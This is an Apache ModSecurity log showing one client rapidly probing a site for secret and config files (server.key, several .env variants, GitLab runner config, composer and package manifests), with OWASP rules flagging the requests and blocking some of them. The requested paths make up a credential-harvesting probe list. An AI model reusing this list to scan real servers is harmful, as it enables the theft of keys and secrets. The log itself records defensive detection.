[Sun Oct 25 00:28:18.112569 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.139.102.100:45394] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at2FYmTNY6y0aXZ6joCaoQAAADk"]
[Sun Oct 25 00:28:18.169600 2026] [security2:error] [pid 2762182:tid 2762182] [client 34.139.102.100:45402] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.gitlab-ci.yml"] [unique_id "at2FYrCux6YzXC46yX1OTwAAACY"]
[Sun Oct 25 00:28:18.228775 2026] [security2:error] [pid 2762199:tid 2762199] [client 34.139.102.100:45408] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.gitlab/CI.template"] [unique_id "at2FYhzh2uHYztX7tG5lfgAAADw"]
[Sun Oct 25 00:28:18.287925 2026] [security2:error] [pid 2762149:tid 2762149] [client 34.139.102.100:45422] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/config.toml"] [unique_id "at2FYjuLxR3FUbX6v9XEHQAAAAc"]
[Sun Oct 25 00:28:18.345573 2026] [security2:error] [pid 2762188:tid 2762188] [client 34.139.102.100:45434] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/gitlab-runner/config.toml"] [unique_id "at2FYmQyb15Iqx39xvm2OgAAAC4"]
[Sun Oct 25 00:28:18.403975 2026] [security2:error] [pid 2762190:tid 2762190] [client 34.139.102.100:45436] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/package.json"] [unique_id "at2FYsmYnImk6kHi8hyMZAAAADA"]
[Sun Oct 25 00:28:18.463621 2026] [security2:error] [pid 2759074:tid 2759074] [client 34.139.102.100:45444] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/package-lock.json"] [unique_id "at2FYtsOgdpl1YJRCNQViAAAAEU"]
[Sun Oct 25 00:28:18.521040 2026] [security2:error] [pid 2759057:tid 2759057] [client 34.139.102.100:45448] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/yarn.lock"] [unique_id "at2FYmnoVolia533WIkgwwAAADQ"]
[Sun Oct 25 00:28:18.578799 2026] [security2:error] [pid 2762183:tid 2762183] [client 34.139.102.100:45462] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/composer.json"] [unique_id "at2FYpnH_N6a0offkOBE0QAAACg"]
[Sun Oct 25 00:28:18.579064 2026] [security2:error] [pid 2762183:tid 2762183] [client 34.139.102.100:45462] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/composer.json"] [unique_id "at2FYpnH_N6a0offkOBE0QAAACg"]
[Sun Oct 25 00:28:18.579315 2026] [security2:error] [pid 2762183:tid 2762183] [client 34.139.102.100:45462] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/composer.json"] [unique_id "at2FYpnH_N6a0offkOBE0QAAACg"]
[Sun Oct 25 00:28:18.579549 2026] [security2:error] [pid 2762183:tid 2762183] [client 34.139.102.100:45462] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/composer.json"] [unique_id "at2FYpnH_N6a0offkOBE0QAAACg"]
[Sun Oct 25 00:28:18.636082 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.139.102.100:45466] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/composer.lock"] [unique_id "at2FYmTNY6y0aXZ6joCaogAAADk"]
[Sun Oct 25 00:28:18.636365 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.139.102.100:45466] ModSecurity: Warning. Matched phrase "/composer.lock" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.lock found within REQUEST_FILENAME: /composer.lock"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/composer.lock"] [unique_id "at2FYmTNY6y0aXZ6joCaogAAADk"]
[Sun Oct 25 00:28:18.636544 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.139.102.100:45466] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/composer.lock"] [unique_id "at2FYmTNY6y0aXZ6joCaogAAADk"]
[Sun Oct 25 00:28:18.636795 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.139.102.100:45466] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/composer.lock"] [unique_id "at2FYmTNY6y0aXZ6joCaogAAADk"]
[Sun Oct 25 00:28:18.693551 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.139.102.100:45476] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at2FYlTnwNJm6o1fQZIgCQAAAAI"]
[Sun Oct 25 00:28:18.693831 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.139.102.100:45476] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at2FYlTnwNJm6o1fQZIgCQAAAAI"]
[Sun Oct 25 00:28:18.694072 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.139.102.100:45476] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at2FYlTnwNJm6o1fQZIgCQAAAAI"]
[Sun Oct 25 00:28:18.694349 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.139.102.100:45476] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at2FYlTnwNJm6o1fQZIgCQAAAAI"]
[Sun Oct 25 00:28:18.753288 2026] [security2:error] [pid 2762182:tid 2762182] [client 34.139.102.100:45478] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at2FYrCux6YzXC46yX1OUAAAACY"]
[Sun Oct 25 00:28:18.753590 2026] [security2:error] [pid 2762182:tid 2762182] [client 34.139.102.100:45478] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at2FYrCux6YzXC46yX1OUAAAACY"]
[Sun Oct 25 00:28:18.753829 2026] [security2:error] [pid 2762182:tid 2762182] [client 34.139.102.100:45478] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at2FYrCux6YzXC46yX1OUAAAACY"]
[Sun Oct 25 00:28:18.754098 2026] [security2:error] [pid 2762182:tid 2762182] [client 34.139.102.100:45478] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at2FYrCux6YzXC46yX1OUAAAACY"]
[Sun Oct 25 00:28:18.754188 2026] [security2:error] [pid 2762182:tid 2762182] [client 34.139.102.100:45478] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "agent.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at2FYrCux6YzXC46yX1OUAAAACY"]
[Sun Oct 25 00:28:18.754221 2026] [security2:error] [pid 2762182:tid 2762182] [client 34.139.102.100:45478] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "agent.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at2FYrCux6YzXC46yX1OUAAAACY"]
[Sun Oct 25 00:28:18.811423 2026] [security2:error] [pid 2762199:tid 2762199] [client 34.139.102.100:45486] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at2FYhzh2uHYztX7tG5lfwAAADw"]
[Sun Oct 25 00:28:18.811658 2026] [security2:error] [pid 2762199:tid 2762199] [client 34.139.102.100:45486] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at2FYhzh2uHYztX7tG5lfwAAADw"]
[Sun Oct 25 00:28:18.811919 2026] [security2:error] [pid 2762199:tid 2762199] [client 34.139.102.100:45486] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at2FYhzh2uHYztX7tG5lfwAAADw"]
[Sun Oct 25 00:28:18.812161 2026] [security2:error] [pid 2762199:tid 2762199] [client 34.139.102.100:45486] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at2FYhzh2uHYztX7tG5lfwAAADw"]
[Sun Oct 25 00:28:18.869319 2026] [security2:error] [pid 2762149:tid 2762149] [client 34.139.102.100:45488] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at2FYjuLxR3FUbX6v9XEHgAAAAc"]
[Sun Oct 25 00:28:18.869592 2026] [security2:error] [pid 2762149:tid 2762149] [client 34.139.102.100:45488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at2FYjuLxR3FUbX6v9XEHgAAAAc"]
[Sun Oct 25 00:28:18.869806 2026] [security2:error] [pid 2762149:tid 2762149] [client 34.139.102.100:45488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at2FYjuLxR3FUbX6v9XEHgAAAAc"]
[Sun Oct 25 00:28:18.870034 2026] [security2:error] [pid 2762149:tid 2762149] [client 34.139.102.100:45488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at2FYjuLxR3FUbX6v9XEHgAAAAc"]
[Sun Oct 25 00:28:18.928199 2026] [security2:error] [pid 2762188:tid 2762188] [client 34.139.102.100:45494] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at2FYmQyb15Iqx39xvm2OwAAAC4"]
[Sun Oct 25 00:28:18.928403 2026] [security2:error] [pid 2762188:tid 2762188] [client 34.139.102.100:45494] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at2FYmQyb15Iqx39xvm2OwAAAC4"]
[Sun Oct 25 00:28:18.928568 2026] [security2:error] [pid 2762188:tid 2762188] [client 34.139.102.100:45494] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at2FYmQyb15Iqx39xvm2OwAAAC4"]
[Sun Oct 25 00:28:18.928802 2026] [security2:error] [pid 2762188:tid 2762188] [client 34.139.102.100:45494] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at2FYmQyb15Iqx39xvm2OwAAAC4"]
